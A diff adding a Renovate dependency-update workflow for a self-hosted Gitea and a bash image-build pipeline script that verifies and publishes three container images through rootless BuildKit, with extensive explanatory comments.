+    # run). Gitea Actions cron is UTC, so 03:15 UTC is 23:15 the PREVIOUS EVENING in New York --
+    # 3h45m BEFORE the window opens, not "slightly ahead" of it as the original comment claimed.
+    # Every nightly run would have started, logged "not within schedule", opened zero PRs and
+    # exited SUCCESSFULLY. A green tick forever, and no updates ever: the exact "failure mode is a
+    # green tick" shape this repo keeps getting burned by, and indistinguishable from "nothing
+    # needed updating".
+    #
+    # THE WINDOW IN UTC MOVES WITH US DST, and a cron cannot follow it:
+    #   EDT (UTC-4, Mar-Nov): local 03:00-06:00 == 07:00-10:00 UTC
+    #   EST (UTC-5, Nov-Mar): local 03:00-06:00 == 08:00-11:00 UTC
+    # 08:15 UTC is the only quarter-hour comfortably inside BOTH (04:15 EDT / 03:15 EST), so the
+    # schedule keeps working across both switchovers without an edit. Do not "tidy" this back to an
+    # early-morning-UTC value without redoing this arithmetic.
+    - cron: "15 8 * * *"
+  workflow_dispatch:
+    inputs:
+      dry_run:
+        description: "Dry run (no PRs, no branches). Leave true for the first run."
+        required: false
+        default: "true"
+      log_level:
+        description: "Renovate LOG_LEVEL (info | debug)"
+        required: false
+        default: "info"
+
+concurrency:
+  # Never two Renovate runs at once: concurrent runs race on the same branches and can open
+  # duplicate PRs. Not cancel-in-progress — a half-finished Renovate run can leave a branch pushed
+  # with no PR, so let the first one finish.
+  group: renovate
+  cancel-in-progress: false
+
+jobs:
+  renovate:
+    runs-on: ubuntu-latest
+    # RENOVATE RUNS AS THE JOB CONTAINER, NOT THROUGH renovatebot/github-action. FIXED 2026-10-30.
+    # That action does exactly one thing: `docker run ghcr.io/renovatebot/renovate:<version>`. On
+    # this runner a job has NO Docker daemon, by decision (decisions/2026-10-29-image-pipeline.md:
+    # act_runner sets container.docker_host to `-` when DOCKER_HOST is tcp://, and the DinD daemon
+    # is privileged, so a job that could reach it would be root on the node). So every run of the
+    # action died before Renovate started. Dispatch run 343 (2026-10-30), verbatim:
+    #   [command]/usr/bin/docker run --env LOG_LEVEL ... --env RENOVATE_TOKEN=*** ...
+    #   failed to connect to the docker API at unix:///var/run/docker.sock; ... no such file or directory
+    #   ::error::Error: The process '/usr/bin/docker' failed with exit code 1
+    # No auth, scope, config or network question was ever reached. Making the Renovate image the
+    # job container needs no daemon: act starts it through the runner's own DinD exactly as it
+    # starts the default ubuntu image, then `exec`s each step inside it.
+    #
+    # PINNED here (was the action's `renovate-version: 44.167.0`). renovate.json5 is validated
+    # against this exact tag — keep them in step. Renovate's github-actions manager reads
+    # `.gitea/workflows` and extracts `container.image`, so this pin is still self-maintained.
+    #
+    # The image runs as uid 12021 (`ubuntu`), and that is fine under act: the step command files
+    # ($GITHUB_STEP_SUMMARY etc.) are created mode 0666 (gitea/act v0.261.2 pkg/runner/step.go),
+    # HOME comes from the image env, and no step writes the workspace. There is deliberately NO
+    # actions/checkout: Renovate clones the repo itself from RENOVATE_ENDPOINT, and as uid 12021
+    # checkout could not `git init` the root-owned workspace volume anyway.
+    container:
+      image: ghcr.io/renovatebot/renovate:44.167.0
+    # Renovate scans every manager across the whole repo; 40m is generous for this repo's size and
+    # well under a runner's patience. Without a timeout a wedged run holds the `renovate`
+    # concurrency group and silently blocks every subsequent scheduled run.
+    timeout-minutes: 40
+    steps:
+      - name: Preflight - the token must exist, and its absence must be LOUD
+        shell: bash
+        env:
+          RENOVATE_TOKEN: ${{ secrets.RENOVATE_TOKEN }}
+        run: |
+          set -euo pipefail
+          if [ -z "${RENOVATE_TOKEN:-}" ]; then
+            echo "::error::RENOVATE_TOKEN is not set on this repository." >&2
+            cat >&2 <<'MSG'
+
+          Renovate cannot run without a Gitea access token, and this step fails rather than
+          skipping ON PURPOSE: a skipped Gitea job reports `success`, so skipping here would make
+          "dependency automation is not running" look exactly like "everything is up to date".
+          That is the failure mode that let renovate.json sit inert in this repo for months while
+          seven files claimed "Renovate maintains this pin".
+
+          TO FIX: create a Gitea access token for the bot account (renovate-bot) with scopes
+          read:user, read:organization, write:repository, write:issue and read:package (the
+          header of .gitea/workflows/renovate.yaml says which call needs which), then add it to
+          this repository as the Actions secret RENOVATE_TOKEN. Do not commit it anywhere.
+          MSG
+            exit 1
+          fi
+          echo "RENOVATE_TOKEN is present (value not printed)."
+          # Proves the step is running INSIDE the pinned Renovate image, not the default job image.
+          echo "renovate $(renovate --version)"
+
+      - name: Preflight - the token has every scope Renovate needs
+        shell: bash
+        env:
+          RENOVATE_TOKEN: ${{ secrets.RENOVATE_TOKEN }}
+        # ADDED 2026-10-30. Renovate reports EVERY platform-init failure as the bare
+        # "Authentication failure" (lib/modules/platform/gitea/index.ts initPlatform swallows the
+        # HTTP error), and a later scope gap surfaces as "Repository has unknown error". Two
+        # dispatches were spent learning one missing scope at a time. These probes are GETs only,
+        # and they name the missing scope. The token never reaches argv: curl reads it from stdin
+        # (`--config -`), so it is not in `ps` output or in the log.
+        run: |
+          set -uo pipefail
+          GITEA=https://gitea.home.keithjackson.dev
+          REPO=Home-Network/home-network-k3s-impl
+          fail=0
+          body=$(mktemp)
+          probe() { # <scope it proves> <path> <auth: bearer|basic>
+            local code
+            if [ "$3" = basic ]; then
+              code=$(printf 'user = "renovate:%s"\n' "$RENOVATE_TOKEN" \
+                | curl -sS --config - -o "$body" -w '%{http_code}' "$GITEA$2") || code=000
+            else
+              code=$(printf 'header = "Authorization: Bearer %s"\n' "$RENOVATE_TOKEN" \
+                | curl -sS --config - -o "$body" -w '%{http_code}' "$GITEA$2") || code=000
+            fi
+            if [ "$code" = 200 ]; then
+              echo "ok    $1  (GET ${2%%\?*} -> 200)"
+              return
+            fi
+            fail=1
+            echo "::error::scope $1: GET ${2%%\?*} -> $code"
+            case "$code" in
+              401) echo "      401 = Gitea rejected the token VALUE (wrong, expired or revoked)." ;;
+              403) if grep -q 'Access denied' "$body"; then
+                     echo "      403 'Access denied' = a Cilium/Envoy policy denial, not Gitea."
+                   else
+                     echo "      Gitea: $(jq -r '.message // empty' "$body" 2>/dev/null | head -c 300)"
+                   fi ;;
+              *)   echo "      body: $(head -c 200 "$body")" ;;
+            esac
+          }
+          probe read:user          "/api/v1/user"                          bearer
+          probe read:organization  "/api/v1/orgs/${REPO%%/*}"              bearer
+          probe read:repository    "/api/v1/repos/$REPO"                   bearer
+          probe read:issue         "/api/v1/repos/$REPO/labels?limit=1"    bearer
+          probe read:package       "/v2/token?service=container_registry&scope=repository:home-network/toolbox:pull" basic
+          # WRITE scopes cannot be proven by a GET. Gitea's scope-refusal message, however, lists
+          # the token's scopes (names only, never the value): ask for an admin route this bot
+          # cannot have, and read `token scope=` from the 403. Advisory if the format changes.
+          printf 'header = "Authorization: Bearer %s"\n' "$RENOVATE_TOKEN" \
+            | curl -sS --config - -o "$body" "$GITEA/api/v1/admin/orgs?limit=1" || true
+          scopes=$(jq -r '.message // empty' "$body" 2>/dev/null | sed -n 's/.*token scope=//p')
+          if [ -n "$scopes" ]; then
+            echo "token scopes (from Gitea): $scopes"
+            for want in write:repository write:issue; do
+              case ",$scopes," in
+                *",$want,"*|*",all,"*) echo "ok    $want" ;;
+                *) echo "::error::scope $want is missing (token scope=$scopes)"; fail=1 ;;
+              esac
+            done
+          else
+            echo "::warning::could not read the token's scope list; write:repository and write:issue are UNVERIFIED"
+          fi
+          rm -f "$body"
+          if [ "$fail" -ne 0 ]; then
+            echo "::error::RENOVATE_TOKEN failed the checks above (a 401 is the value, a 403 is a scope). Re-mint it for renovate-bot with read:user, read:organization, write:repository, write:issue, read:package and overwrite the secret."
+            exit 1
+          fi
+
+      - name: Run Renovate
+        shell: bash
+        # The repo config is discovered by Renovate from the cloned repo (renovate.json5,
+        # RENOVATE_REQUIRE_CONFIG=required). The action used to ALSO load it as the global config
+        # via RENOVATE_CONFIG_FILE; that double-loading is gone. ci/lint.sh's `configurationFile:`
+        # check therefore has nothing to resolve in this file, and passes.
+        env:
+          RENOVATE_TOKEN: ${{ secrets.RENOVATE_TOKEN }}
+          # Self-hosted Gitea. `platform` + `endpoint` were the two values renovate.json's own
+          # header said were "set at runtime by the operator's renovate runner" — this is that
+          # runner, so they are set here rather than in the repo config, which keeps renovate.json
+          # portable and free of this instance's URL.
+          RENOVATE_PLATFORM: gitea
+          RENOVATE_ENDPOINT: https://gitea.home.keithjackson.dev/api/v1
+          RENOVATE_REPOSITORIES: Home-Network/home-network-k3s-impl
+          # Renovate must never push to a protected branch; it works on its own branches and opens
+          # PRs against this base. Stated explicitly rather than inherited, because this is the
+          # property that keeps the whole mechanism inside CLAUDE.md §1's branch -> PR -> gate path.
+          RENOVATE_BASE_BRANCHES: main
+          RENOVATE_ONBOARDING: "false"
+          RENOVATE_REQUIRE_CONFIG: "required"
+          RENOVATE_DRY_RUN: ${{ github.event_name == 'workflow_dispatch' && inputs.dry_run == 'true' && 'full' || '' }}
+          LOG_LEVEL: ${{ github.event_name == 'workflow_dispatch' && inputs.log_level || 'info' }}
+          # ADDED 2026-10-29: registry read access for this repo's OWN images (toolbox,
+          # agent-runner, conformance-runner — published by .gitea/workflows/images.yaml and
+          # followed through `# renovate-digest:` markers). The Gitea registry answers 401 to
+          # anonymous reads, and Renovate scopes the platform token to hostType `gitea`, which a
+          # docker lookup never matches — so without this rule every digest lookup fails. Same
+          # token; it therefore needs scope `read:package` in addition to the ones listed in the
+          # preflight above. Gitea ignores the username for token auth (services/auth/basic.go).
+          RENOVATE_HOST_RULES: '[{"hostType":"docker","matchHost":"gitea.home.keithjackson.dev","username":"renovate","password":"${{ secrets.RENOVATE_TOKEN }}"}]'
+          # OPTIONAL, ADDED 2026-10-30. A github.com token (a fine-grained PAT with NO permissions,
+          # public-repo read only) for lookups of GitHub-hosted dependencies. Without it Renovate
+          # SKIPS them with `github-token-required` — measured in a local dry run: 17 deps, i.e.
+          # every `uses: actions/*` here plus kubevirt/kubevirt, kubevirt/containerized-data-importer
+          # and intel/intel-device-plugins-for-kubernetes. Unset is safe: the step below drops the
+          # empty variable, and those deps simply stay unmaintained, with a WARN in the log.
+          GITHUB_COM_TOKEN: ${{ secrets.RENOVATE_GITHUB_COM_TOKEN }}
+        run: |
+          set -euo pipefail
+          # An expression that evaluates to '' still EXPORTS the variable, as an empty string.
+          # Drop those so an unset value means "Renovate's default", never "set to empty".
+          for v in RENOVATE_DRY_RUN GITHUB_COM_TOKEN; do
+            [ -n "${!v:-}" ] || unset "$v"
+          done
+          # Through the image's entrypoint, as `docker run` would have gone: it sources the
+          # containerbase env and initialises the bundled tools before exec'ing Renovate.
+          exec renovate-entrypoint.sh renovate
+
+      - name: Summary
+        if: always()
+        run: |
+          {
+            echo "## Renovate"
+            echo
+            echo "- trigger: \`${{ github.event_name }}\`"
+            echo "- dry run: \`${{ github.event_name == 'workflow_dispatch' && inputs.dry_run || 'false' }}\`"
+            echo "- outcome: \`${{ job.status }}\`"
+            echo
+            echo "Renovate owns BOTH Helm chart bumps and container image tags here; Flux"
+            echo "image-automation is deliberately disabled (platform/kustomization.yaml)."
+            echo "Every change it proposes arrives as a pull request and must pass the merge gate."
+          } >> "$GITHUB_STEP_SUMMARY"

.gitea/workflows/scripts/images.sh

@@ -0,0 +1,373 @@
+#!/usr/bin/env bash
+###############################################################################
+# .gitea/workflows/scripts/images.sh — the image pipeline's driver (images.yaml calls this).
+#
+# Builds, verifies and (on main) PUBLISHES the three images this repo ships:
+#
+#   toolbox             infra/devcontainer/    the pinned dev/gate toolchain
+#   agent-runner        infra/agent/           FROM toolbox; the PM dispatcher + worker
+#   conformance-runner  conformance/incluster/ the in-cluster L2/L3 Chainsaw runner
+#
+# THE BUILDER (operator decision on PR #81): a ROOTLESS BuildKit daemon, platform/buildkit/,
+# reached over mTLS. No CI job may reach a privileged daemon, so there is no `docker build` and no
+# `docker run` here: this script drives buildkitd with a pinned `buildx` (remote driver) and
+# nothing else. The client certificate arrives as Actions secrets (BUILDKIT_CA,
+# BUILDKIT_CLIENT_CERT, BUILDKIT_CLIENT_KEY; infra/gitea/buildkit-client-secret.sh puts them
+# there). If the daemon is unreachable this FAILS LOUDLY — it never skips.
+#
+# VERIFICATION IS A BUILD TARGET. Each Containerfile ends in a `verify` stage that runs every
+# in-image assertion at build time (as the non-root uid, with RUN --network=none); this script
+# builds `<image>-verify` and only then the image. Build args come from each image's own
+# `build-image.sh --print-build-args`, the same list the local podman path uses.
+#
+# MODES (env MODE):
+#   verify   build the verify targets, never push, hold no registry credential. Pull requests.
+#   publish  verify, then build + push to ${REGISTRY}/${NAMESPACE}/<image> with tags
+#            `sha-<12 hex>` (immutable: never re-pushed) and `main` (moving; Renovate follows
+#            it). The digest recorded is the one the REGISTRY returns, read back after the push.
+#
+# WHAT GETS BUILT (env IMAGES): `auto` (default) diffs BASE_SHA..HEAD_SHA against each image's
+# inputs; otherwise a space-separated list. A change to the pipeline itself (images.yaml, this
+# file, platform/buildkit/versions.env) builds everything in verify mode, and nothing extra in
+# publish mode: re-publishing unchanged inputs would only mint new digests and churn Renovate PRs.
+#
+# THE agent-runner BASE:
+#   * verify mode -> FROM the toolbox built in this run, linked with a bake `target:` context —
+#     a pull request holds no registry credential and that toolbox exists in no registry. If the
+#     toolbox's inputs did not change it is built anyway, as the base.
+#   * publish mode, toolbox published in this run -> FROM the digest the registry just returned.
+#   * publish mode otherwise -> AGENT_BASE_IMAGE from infra/agent/versions.env (the published
+#     toolbox digest Renovate keeps current). If that is still the all-zero placeholder the
+#     toolbox has never been published, so it is built and published first (the bootstrap).
+#
+# LOOP-FREEDOM. Renovate turns each publish into a digest-bump PR. Those bumps land in
+# platform/pm-agent/ (no image input), conformance/versions.env (no image input) and
+# infra/agent/versions.env (agent-runner input -> ONE more agent-runner build, whose own bump
+# lands in platform/pm-agent/ and stops). The worker Job template is deliberately NOT tracked:
+# it is baked INTO agent-runner, so bumping it would rebuild agent-runner, mint a new digest,
+# bump it again, forever. pm-dispatch overwrites that field at runtime anyway.
+###############################################################################
+set -euo pipefail
+
+REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../../.." && pwd)"
+cd "${REPO_ROOT}"
+
+# shellcheck disable=SC1091
+BK_HOST_OVERRIDE="${BUILDKIT_HOST:-}"; BK_NAME_OVERRIDE="${BUILDKIT_SERVERNAME:-}"
+. ./platform/buildkit/versions.env
+BUILDKIT_HOST="${BK_HOST_OVERRIDE:-${BUILDKIT_HOST}}"
+BUILDKIT_SERVERNAME="${BK_NAME_OVERRIDE:-${BUILDKIT_SERVERNAME}}"
+
+MODE="${MODE:-verify}"
+IMAGES="${IMAGES:-auto}"
+REGISTRY="${REGISTRY:-gitea.home.keithjackson.dev}"
+NAMESPACE="${NAMESPACE:-home-network}"
+HEAD_SHA="${HEAD_SHA:-$(git rev-parse HEAD)}"
+BASE_SHA="${BASE_SHA:-}"
+SUMMARY="${GITHUB_STEP_SUMMARY:-/dev/null}"
+ZERO_DIGEST="sha256:0000000000000000000000000000000000000000000000000000000000000000"
+
+ALL_IMAGES=(toolbox agent-runner conformance-runner)
+SHA_TAG="sha-${HEAD_SHA:0:12}"
+MOVING_TAG="main"
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; printf -- '- **ERROR**: %s\n' "$*" >>"${SUMMARY}"; exit 1; }
+yn()   { if [ -n "$1" ]; then echo "$2"; else echo "$3"; fi; }
+
+case "${MODE}" in verify|publish) ;; *) die "MODE must be verify or publish, got '${MODE}'" ;; esac
+for t in git jq curl sha256sum; do command -v "$t" >/dev/null || die "the job image lacks '$t'"; done
+
+# --- per-image facts ------------------------------------------------------------------------
+# Inputs: a change under any of these rebuilds that image. conformance-runner takes its pins from
+# infra/devcontainer/versions.env. conformance/versions.env is NOT an input (it only RECORDS the
+# published digest), and must not become one: Renovate writes it after every publish -> a loop.
+inputs() {
+  case "$1" in
+    toolbox)            echo "infra/devcontainer/Containerfile infra/devcontainer/versions.env infra/devcontainer/build-image.sh" ;;
+    agent-runner)       echo "infra/agent/" ;;
+    conformance-runner) echo "conformance/incluster/Containerfile conformance/incluster/conformance-clone conformance/incluster/build-image.sh infra/devcontainer/versions.env" ;;
+  esac
+}
+context_of() { case "$1" in toolbox) echo infra/devcontainer ;; agent-runner) echo infra/agent ;; conformance-runner) echo conformance/incluster ;; esac; }
+PIPELINE_FILES=".gitea/workflows/images.yaml .gitea/workflows/scripts/images.sh platform/buildkit/versions.env"
+
+declare -A WANT=() BUILT=() DIGEST=() SECS=() NOTE=()
+
+changed_any() { # <paths...> -> 0 if BASE_SHA..HEAD_SHA touches any
+  [ -n "$(git diff --name-only "${BASE_SHA}" "${HEAD_SHA}" -- "$@")" ]
+}
+
+select_images() {
+  local i
+  if [ "${IMAGES}" != "auto" ]; then
+    for i in ${IMAGES}; do
+      case " ${ALL_IMAGES[*]} " in *" ${i} "*) WANT[$i]=1; NOTE[$i]="requested" ;; *) die "unknown image '${i}'" ;; esac
+    done
+    return
+  fi
+  if [ -z "${BASE_SHA}" ] || [[ "${BASE_SHA}" =~ ^0+$ ]] || ! git cat-file -e "${BASE_SHA}^{commit}" 2>/dev/null; then
+    info "no usable diff base ('${BASE_SHA}'): building everything"
+    for i in "${ALL_IMAGES[@]}"; do WANT[$i]=1; NOTE[$i]="no diff base"; done
+    return
+  fi
+  info "diff base ${BASE_SHA} .. ${HEAD_SHA}"
+  for i in "${ALL_IMAGES[@]}"; do
+    # shellcheck disable=SC2046
+    if changed_any $(inputs "$i"); then WANT[$i]=1; NOTE[$i]="inputs changed"; fi
+  done
+  # shellcheck disable=SC2086
+  if [ "${MODE}" = verify ] && changed_any ${PIPELINE_FILES}; then
+    for i in "${ALL_IMAGES[@]}"; do [ -n "${WANT[$i]:-}" ] || { WANT[$i]=1; NOTE[$i]="pipeline changed"; }; done
+  fi
+}
+
+# --- the builder: pinned buildx + mTLS to rootless buildkitd ---------------------------------
+WORK="$(mktemp -d)"
+trap 'rm -rf "${WORK}"' EXIT          # client key + registry auth live only here, only this long
+export BUILDX_CONFIG="${WORK}/buildx" DOCKER_CONFIG="${WORK}/docker"
+# Single-manifest images: the admission policies, Renovate and registry-retention.sh all reason
+# about one manifest per tag. (Provenance attestations would turn every push into an index.)
+export BUILDX_NO_DEFAULT_ATTESTATIONS=1
+mkdir -p "${BUILDX_CONFIG}" "${DOCKER_CONFIG}" "${WORK}/certs"
+echo '{}' > "${DOCKER_CONFIG}/config.json"
+
+setup_builder() {
+  log "Builder: rootless buildkitd at ${BUILDKIT_HOST} (mTLS)"
+  BUILDX="${BUILDX_BIN:-}"
+  if [ -z "${BUILDX}" ]; then
+    BUILDX="${WORK}/buildx-bin"
+    curl -fsSL --retry 3 -o "${BUILDX}" \
+      "https://github.com/docker/buildx/releases/download/v${BUILDX_VERSION}/buildx-v${BUILDX_VERSION}.linux-amd64" \
+      || die "could not download buildx v${BUILDX_VERSION}"
+    echo "${BUILDX_SHA256}  ${BUILDX}" | sha256sum -c --quiet - \
+      || die "buildx v${BUILDX_VERSION} does not match the sha256 pinned in platform/buildkit/versions.env — refusing to run it"
+    chmod +x "${BUILDX}"
+  fi
+  info "client: $("${BUILDX}" version)"
+
+  local missing=()
+  [ -n "${BUILDKIT_CA:-}" ]          || missing+=(BUILDKIT_CA)
+  [ -n "${BUILDKIT_CLIENT_CERT:-}" ] || missing+=(BUILDKIT_CLIENT_CERT)
+  [ -n "${BUILDKIT_CLIENT_KEY:-}" ]  || missing+=(BUILDKIT_CLIENT_KEY)
+  [ "${#missing[@]}" -eq 0 ] || die "the builder's client certificate is missing: ${missing[*]} not set.
+       These Actions secrets are copied from the cert-manager Secret buildkit/buildkit-client-ci by
+       infra/gitea/buildkit-client-secret.sh (an operator action, after platform/buildkit is
+       deployed). Without them nothing can be built — this fails rather than skipping ON PURPOSE."
+  umask 077
+  printf '%s\n' "${BUILDKIT_CA}"          > "${WORK}/certs/ca.pem"
+  printf '%s\n' "${BUILDKIT_CLIENT_CERT}" > "${WORK}/certs/cert.pem"
+  printf '%s\n' "${BUILDKIT_CLIENT_KEY}"  > "${WORK}/certs/key.pem"
+  umask 022
+
+  "${BUILDX}" create --name ci-remote --driver remote \
+    --driver-opt "cacert=${WORK}/certs/ca.pem,cert=${WORK}/certs/cert.pem,key=${WORK}/certs/key.pem,servername=${BUILDKIT_SERVERNAME}" \
+    "${BUILDKIT_HOST}" >/dev/null
+  if ! out="$(timeout 90 "${BUILDX}" inspect --bootstrap --builder ci-remote 2>&1)"; then
+    printf '%s\n' "${out}" >&2
+    die "buildkitd is UNREACHABLE at ${BUILDKIT_HOST} — nothing can be built, and this job fails
+       rather than skipping. In order of likelihood:
+         1. platform/buildkit is not deployed yet. Flux applies it only after it merges to main
+            (Kustomization 'buildkit'); a pull request that ADDS it cannot reach it.
+         2. the BUILDKIT_* secrets are stale (the client cert was renewed) or from another CA:
+            re-run infra/gitea/buildkit-client-secret.sh.
+         3. the NetworkPolicy (platform/buildkit/networkpolicy.yaml) does not admit this runner."
+  fi
+  printf '%s\n' "${out}" | grep -E '^(Name|Driver|Status|BuildKit version|Platforms):' | sed 's/^/    /' || true
+}
+
+# KEY=VALUE lines from an image's build-image.sh --print-build-args -> a JSON object.
+build_args_json() {
+  local ctx; ctx="$(context_of "$1")"
+  "./${ctx}/build-image.sh" --print-build-args | jq -Rn '[inputs | select(length>0) | capture("^(?<k>[^=]+)=(?<v>.*)$")] | map({(.k): .v}) | add'
+}
+
+# bake_run <bakefile> <targets...>
+bake_run() {
+  local f="$1"; shift
+  "${BUILDX}" bake --builder ci-remote --progress plain -f "$f" \
+    --metadata-file "${WORK}/meta.json" "$@"
+}
+
+# Write a bake file with a verify target and a ship target for one image.
+#   $1 image, $2 agent base mode: "" | "link" | <image ref>
+write_bake() {
+  local img="$1" base="${2:-}" ctx args f
+  ctx="$(context_of "$img")"
+  args="$(build_args_json "$img")"
+  f="${WORK}/bake-${img}.json"
+  local contexts='{}'
+  if [ "${img}" = agent-runner ]; then
+    if [ "${base}" = link ]; then
+      # FROM ${AGENT_BASE_IMAGE} resolves to the named context below, i.e. the toolbox target
+      # of this same bake file — built here, never pushed anywhere.
+      args="$(jq -c '. + {AGENT_BASE_IMAGE: "toolbox-in-this-run"}' <<<"${args}")"
+      contexts='{"toolbox-in-this-run": "target:toolbox"}'
+    else
+      args="$(jq -c --arg b "${base}" '. + {AGENT_BASE_IMAGE: $b}' <<<"${args}")"
+    fi
+  fi
+  jq -n --arg img "$img" --arg ctx "$ctx" --argjson args "$args" --argjson contexts "$contexts" \
+        --arg tbargs "$( [ "${base}" = link ] && build_args_json toolbox || echo '{}')" \
+        --arg rev "${HEAD_SHA}" --arg repo "${REGISTRY}/${NAMESPACE}/${img}" \
+        --arg sha "${SHA_TAG}" --arg moving "${MOVING_TAG}" --arg mode "${MODE}" '
+    {target: (
+      {
+        ($img + "-verify"): {context: $ctx, dockerfile: "Containerfile", target: "verify",
+                              args: $args, contexts: $contexts, output: ["type=cacheonly"]},
+        ($img): ({context: $ctx, dockerfile: "Containerfile", target: $img, args: $args,
+                  contexts: $contexts,
+                  labels: {"org.opencontainers.image.revision": $rev}}
+                 + (if $mode == "publish"
+                    then {tags: [($repo + ":" + $sha), ($repo + ":" + $moving)], output: ["type=image,push=true"]}
+                    else {output: ["type=cacheonly"]} end))
+      }
+      + (if ($contexts | has("toolbox-in-this-run"))
+         then {toolbox: {context: "infra/devcontainer", dockerfile: "Containerfile", target: "toolbox",
+                         args: ($tbargs | fromjson), output: ["type=cacheonly"]}}
+         else {} end)
+    )}' > "$f"
+  echo "$f"
+}
+
+# --- registry helpers (publish mode only) ----------------------------------------------------
+REG_TOKEN=""
+registry_token() {
+  [ -n "${REG_TOKEN}" ] && return 0
+  REG_TOKEN="$(curl -fsS --config <(printf 'user = "%s:%s"\n' "${REGISTRY_USER}" "${REGISTRY_TOKEN}") \
+    "https://${REGISTRY}/v2/token?service=container_registry&scope=*" | jq -r '.token // empty')" \
+    || die "could not obtain a registry bearer token from https://${REGISTRY}/v2/token"
+  [ -n "${REG_TOKEN}" ] || die "registry returned no bearer token"
+}
+# Prints the manifest digest the REGISTRY serves for <image>:<tag>; nothing if it is absent (404).
+# Any other answer is fatal: "cannot tell" must never be read as "not published", or the
+# immutable-tag guard would be bypassed by an auth hiccup.
+registry_digest() {
+  registry_token
+  local hdrs code digest
+  hdrs="$(curl -sS -I --config <(printf 'header = "Authorization: Bearer %s"\n' "${REG_TOKEN}") \
+    -H 'Accept: application/vnd.oci.image.manifest.v1+json' \
+    -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' \
+    -H 'Accept: application/vnd.oci.image.index.v1+json' \
+    -H 'Accept: application/vnd.docker.distribution.manifest.list.v2+json' \
+    "https://${REGISTRY}/v2/${NAMESPACE}/$1/manifests/$2" | tr -d '\r')" \
+    || die "registry unreachable while reading $1:$2"
+  code="$(awk 'NR==1{print $2}' <<<"${hdrs}")"
+  digest="$(awk -F': ' 'tolower($1)=="docker-content-digest"{print $2}' <<<"${hdrs}" | tail -1)"
+  case "${code}" in
+    200) [[ "${digest}" =~ ^sha256:[0-9a-f]{64}$ ]] || die "registry answered 200 for $1:$2 with no usable digest"
+         echo "${digest}" ;;
+    404) ;;
+    *)   die "registry answered HTTP ${code} for $1:$2 — cannot tell whether it exists" ;;
+  esac
+}
+
+# build_one <image> [agent base]  — verify, then (publish) build + push + read back.
+build_one() {
+  local img="$1" base="${2:-}" t0 f pushed got existing
+  t0=$(date +%s)
+  f="$(write_bake "$img" "$base")"
+  log "VERIFY ${img} (Containerfile target: verify, on rootless BuildKit)"
+  bake_run "$f" "${img}-verify"
+  BUILT[$img]=1
+  if [ "${MODE}" = publish ]; then
+    existing="$(registry_digest "${img}" "${SHA_TAG}")"
+    # Immutable tag: never overwrite. A rebuild is not byte-reproducible, so re-pushing would
+    # silently change what `sha-<commit>` means after something may already have pinned it.
+    [ -z "${existing}" ] || die "${REGISTRY}/${NAMESPACE}/${img}:${SHA_TAG} already exists (${existing}); tags are immutable"
+    log "BUILD + PUSH ${img} -> ${REGISTRY}/${NAMESPACE}/${img}:{${SHA_TAG},${MOVING_TAG}}"
+    bake_run "$f" "${img}"
+    pushed="$(jq -r --arg t "$img" '.[$t]["containerimage.digest"] // empty' "${WORK}/meta.json")"
+    # The AUTHORITATIVE digest is what the registry serves, read back — not what the client
+    # reported. They should agree; if they do not, nothing downstream may trust either.
+    got="$(registry_digest "${img}" "${SHA_TAG}")"
+    [ -n "${got}" ] || die "pushed ${img}:${SHA_TAG} but the registry does not serve it"
+    [ -z "${pushed}" ] || [ "${pushed}" = "${got}" ] || die "${img}: client reported ${pushed} but the registry serves ${got}"
+    [ "$(registry_digest "${img}" "${MOVING_TAG}")" = "${got}" ] \
+      || die "${img}: ${MOVING_TAG} does not point at the digest just pushed (${got})"
+    DIGEST[$img]="${got}"
+    info "${img}: registry digest ${got}"
+  fi
+  SECS[$img]=$(( $(date +%s) - t0 ))
+  info "${img}: done in ${SECS[$img]}s"
+}
+
+# --- main ---------------------------------------------------------------------------------
+log "image pipeline: MODE=${MODE} IMAGES=${IMAGES} HEAD=${HEAD_SHA}"
+select_images
+
+if [ "${MODE}" = publish ]; then
+  : "${REGISTRY_TOKEN:?REGISTRY_TOKEN is required in publish mode}"
+  REGISTRY_USER="${REGISTRY_USER:-ci-image-publisher}"
+  # buildx (and through it buildkitd, which does the push) reads registry auth from this file.
+  jq -n --arg r "${REGISTRY}" --arg a "$(printf '%s:%s' "${REGISTRY_USER}" "${REGISTRY_TOKEN}" | base64 -w0)" \
+     '{auths: {($r): {auth: $a}}}' > "${DOCKER_CONFIG}/config.json"
+  chmod 600 "${DOCKER_CONFIG}/config.json"
+  registry_token
+  # Publish idempotence: an image already published at THIS commit is not rebuilt. That is what
+  # makes a re-run after a half-finished publish safe — the immutable tag is never pushed twice.
+  for i in "${ALL_IMAGES[@]}"; do
+    [ -n "${WANT[$i]:-}" ] || continue
+    d="$(registry_digest "${i}" "${SHA_TAG}")"
+    if [ -n "${d}" ]; then
+      info "${i}: already published at ${SHA_TAG} (${d}); not rebuilding"
+      unset "WANT[$i]"; DIGEST[$i]="${d}"; NOTE[$i]="already published at this commit"
+    fi
+  done
+fi
+
+# Decide the agent-runner base (see header).
+AGENT_BASE=""
+if [ -n "${WANT[agent-runner]:-}" ]; then
+  PINNED_BASE="$(. ./infra/agent/versions.env; echo "${AGENT_BASE_IMAGE}")"
+  if [ "${MODE}" = verify ]; then
+    AGENT_BASE=link
+    [ -n "${WANT[toolbox]:-}" ] || { WANT[toolbox]=1; NOTE[toolbox]="built as agent-runner's base (verify only)"; }
+  elif [ -z "${WANT[toolbox]:-}" ] && [ -z "${DIGEST[toolbox]:-}" ]; then
+    case "${PINNED_BASE}" in
+      *@"${ZERO_DIGEST}") WANT[toolbox]=1; NOTE[toolbox]="never published; required as agent-runner's base" ;;
+      *@sha256:*)         AGENT_BASE="${PINNED_BASE}" ;;
+      *) die "infra/agent/versions.env AGENT_BASE_IMAGE='${PINNED_BASE}' is not digest-pinned; CI will not build on a floating base" ;;
+    esac
+  fi
+fi
+
+for i in "${ALL_IMAGES[@]}"; do info "plan: ${i}: $(yn "${WANT[$i]:-}" BUILD skip)  (${NOTE[$i]:-inputs unchanged})"; done
+if [ -z "${WANT[toolbox]:-}${WANT[agent-runner]:-}${WANT[conformance-runner]:-}" ]; then
+  info "nothing to build"
+else
+  setup_builder
+fi
+
+if [ -n "${WANT[toolbox]:-}" ]; then build_one toolbox; fi
+if [ -n "${WANT[agent-runner]:-}" ]; then
+  if [ -z "${AGENT_BASE}" ]; then
